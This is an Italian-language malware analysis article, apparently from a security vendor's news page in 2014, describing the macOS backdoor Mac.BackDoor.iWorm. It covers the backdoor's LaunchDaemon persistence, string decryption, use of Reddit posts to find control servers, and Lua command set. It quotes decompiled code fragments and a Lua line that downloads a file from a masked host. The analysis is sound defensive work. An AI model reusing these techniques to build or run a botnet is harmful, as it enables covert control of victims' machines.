Torna alla lista delle notizie
29 settembre 2014
Il backdoor viene decompresso nella cartella /Library/Application Support/JavaW. Con l'ausilio del file plist formato in un apposito modo, il programma viene inserito attraverso /Library/LaunchDaemons/ nell'elenco delle applicazioni eseguite in automatico come l'applicazione com.JavaW.
Nel corso del funzionamento, il Mac.BackDoor.iWorm spesso utilizza la crittografia. Dopo l'avvio, il trojan inizializza il contesto (il quale verrà utilizzato in seguito per la crittografia) e con l'offset zero scrive due byte che sono la chiave per la successiva decifratura delle stringhe. Le stringhe vengono decifrate tramite il seguente algoritmo:
void DecryptStrings(unsigned __int8* Data, size_t size)
{
for(int i = 0; i < size; i++)
{
if (Data[i])
{
Data[i] -= 'Z';
Data[i] ^= 'M';
}
}
}
Successivamente, il trojan cerca di ricavare i contenuti della directory /Library: se ci è riuscito, scorre tutte le cartelle nidificate e calcola i valori MD5 dei loro nomi. I valori MD5 risultanti servono per rilevare i programmi installati con i quali il backdoor non interagisce. Il backdoor rileva questi programmi nel seguente modo:
find_banned_dir:
challenge[5] = 0;
challenge[4] = 0;
challenge[0] = 0x67452301;
challenge[1] = 0xEFCDAB89;
challenge[2] = 0x98BADCFE;
challenge[3] = 0x10325476;
szDir = (const char *)&dir-&qt;d_seekoff;
szDir_len = strlen(szDir);
MD5_Update(szDir, challenge, szDir_len);
MD5_Final((char *)&MD5OfDir, challenge);
z = 0;
do
{
if ( z &qt; 2 )
{
dir = readdir(hLib);
if ( !dir )
goto banned_dir_not_found;
goto find_banned_dir;
}
BannedFoldersMD5 = pBannedFoldersMD5[z++];
}
while ( MD5OfDir != _byteswap_ulong(BannedFoldersMD5) );
Se il trojan non può rilevare le directory "indesiderate", richiama consecutivamente le funzioni getuid e gepwuid per ottenere il nome della cartella home dell'utente, sotto il cui account esso verrà avviato, e controlla la disponibilità in questa cartella del file di configurazione %pw_dir%/.JavaW che viene creato al primo avvio del programma malevolo. Inoltre, al primo avvio viene generato un numero di porta (ai successivi avvii, il trojan riceve il numero di porta dal file di configurazione):
r1 = TwisterGenRnd();; //ottenimento di un numero casuale
r2 = 0xFFFF0400 * (random_value / 0xFC00);
port = (WORD)(r1 + r2 + 1024);
Sulla base del valore di porta risultante viene formata la struttura backdoor_param che dopo la cifratura verrà registrata nel file di configurazione. Ogni record nel file di configurazione ha il seguente aspetto:
struct backdoor_param
{
char szParam[];
char szValue[];
};
La struttura formata dai valori %param_name% e %param_value% viene cifrata tramite l'algoritmo AES-256. La struttura cifrata viene registrata nel file di configurazione. In seguito il backdoor avvia tre thread con le seguenti funzioni:
- apre la porta e aspetta una connessione in entrata;
- manda una query su un sito web e ottiene gli indirizzi dei server di gestione;
- stabilisce la connessione ai server di gestione e riceve comandi.
Per ottenere gli indirizzi dei server di gestione, il malware Mac.BackDoor.iWorm determina la data corrente e calcola il suo valore in giorni utilizzando la formula:
time_t timee;
struct tm *tm;
time(&timee);
tm = gmtime(&timee);
dwDays = tm->tm_yday + 365 * tm->tm_year;
Il trojan calcola la funzione hash MD5 del valore risultante e manda sul sito reddit.com una query di ricerca del tipo:
https://www.reddit.com/search?q=<MD5_hash_first8>
dove MD5_hash_first8 è il valore dei primi 8 byte della funzione hash MD5 della data corrente. Eseguita una ricerca, il sito reddit.com restituisce una pagina web con l'elenco dei server di controllo della botnet e delle porte che i malintenzionati pubblicano come se fossero commenti al tema minecraftserverlists scritti dall'utente vtnhiaovyd. L'ottenimento dell'elenco degli indirizzi di gestione si ripete ogni 5 minuti.
Per il successivo funzionamento, il trojan seleziona il server di comando tramite il seguente algoritmo:
rnd = TwisterGenRnd(); //ottenimento di un numero casuale
szIP = GetAddressByIndex(pCSrvList, rnd % (pSrvList_size >> 2) % (pSrvList_size >> 2));
In realtà, il trojan cerca di connettersi ai server di comando provando a uno a uno in ordine casuale i primi ventinove indirizzi dall'elenco ottenuto e inviando query su ciascuno di essi. Una volta stabilita la connessione, il Mac.BackDoor.iWorm controlla se il dato sito si trova nella lista delle eccezioni:
i = 0;
while ( 1 )
{
pthread_mutex_lock(&pMutex_0);
BanListSize = (pBanListEnd - pBanListBeg) >> 2;
pthread_mutex_unlock(&pMutex_0);
if ( i >= BanListSize )
break;
pszBannedIP = GetAddressByIndex(pCBanList, i++);
if ( CompareAddresses(pszBannedIP, szIP) )
{
pthread_mutex_unlock(&pMutex_0);
shutdown(this->socket, SHUT_WR);
goto func_exit;
}
}
Una volta connesso al server di gestione, il backdoor scambia con esso un apposito set di dati utilizzati per verificare l'autenticità del nodo remoto tramite una serie di complesse trasformazioni matematiche. Se la verifica è riuscita, il bot manda sul server remoto il numero della porta aperta sul computer infetto e il proprio identificatore unico, quindi aspetta comandi di gestione. I dati da inviare vengono cifrati tramite l'algoritmo AES-256 e vengono trasmessi in pacchetti nel seguente modo:
void SendPacket(char packet_signature, struct st_node *pNode, unsigned __int16 packet_size, char *pPacketData)
{
WORD ps = 0;
SendData(&packet_signature, pNode->pCSocket, 1u);
ps = BYTE(packet_size) << 8;
SendData((char *)&ps, pNode_->pCSocket, 2u);
SendData(pPacketData, pNode_->pCSocket, packet_size);
}
Per il processamento dei comandi arrivati dal server, è stato realizzato il supporto di Lua. A seconda del tipo di dati ricevuti, il backdoor può eseguire comandi separati oppure script Lua. Di seguito riportiamo un esempio di script Lua eseguito dal backdoor:
if platform() == "OSX" and get("d") ~= "3" then
httpgeted("https://*****.files.wordpress.com/2014/08/01.jpg")
set("d", "3");
Il set dei comandi base del backdoor per gli script Lua consente di eseguire le seguenti operazioni:
- ottenere il tipo dell'SO;
- ottenere la versione del bot;
- ottenere l'UID del bot;
- ottenere il valore di un parametro dal file di configurazione;
- impostare il valore di un parametro nel file di configurazione;
- scartare tutti i parametri nei dati di configurazione;
- ottenere il tempo del funzionamento del bot (uptime);
- inviare una query GET;
- scaricare un file;
- aprire un socket per la connessione in entrata ed eseguire i comandi arrivati sul socket;
- eseguire un comando di sistema;
- attivare la pausa (sleep);
- aggiungere un nodo secondo l'indirizzo IP alla lista dei nodi con l'accesso negato;
- cancellare la lista dei nodi con l'accesso negato;
- ottenere una lista dei nodi;
- ottenere l'indirizzo IP del nodo;
- ottenere il tipo del nodo;
- ottenere la porta del nodo;
- eseguire uno script Lua nidificato.
Al momento, possiamo dire che il trojan dispone delle seguenti funzioni (a prescindere dalle funzioni degli script Lua):
- invio dell'UID;
- invio del numero della porta aperta;
- aggiunta alla lista dei nodi dei bot nuovi (di quelli connessi o di quelli le informazioni sui quali sono arrivate in un comando);
- ritrasmissione del traffico (i dati ricevuti su un socket vengono trasmessi su un altro senza cambiamenti);
- connessione all'host specificato in un comando arrivato;
- esecuzione degli script Lua.
La tua opinione conta per noi
Per fare una domanda relativa alla notizia all'amministrazione del sito, inserire @admin all'inizio del commento. Se una domanda si fa all'autore di uno dei commenti — inserire @ prima del suo nome.
Altri commenti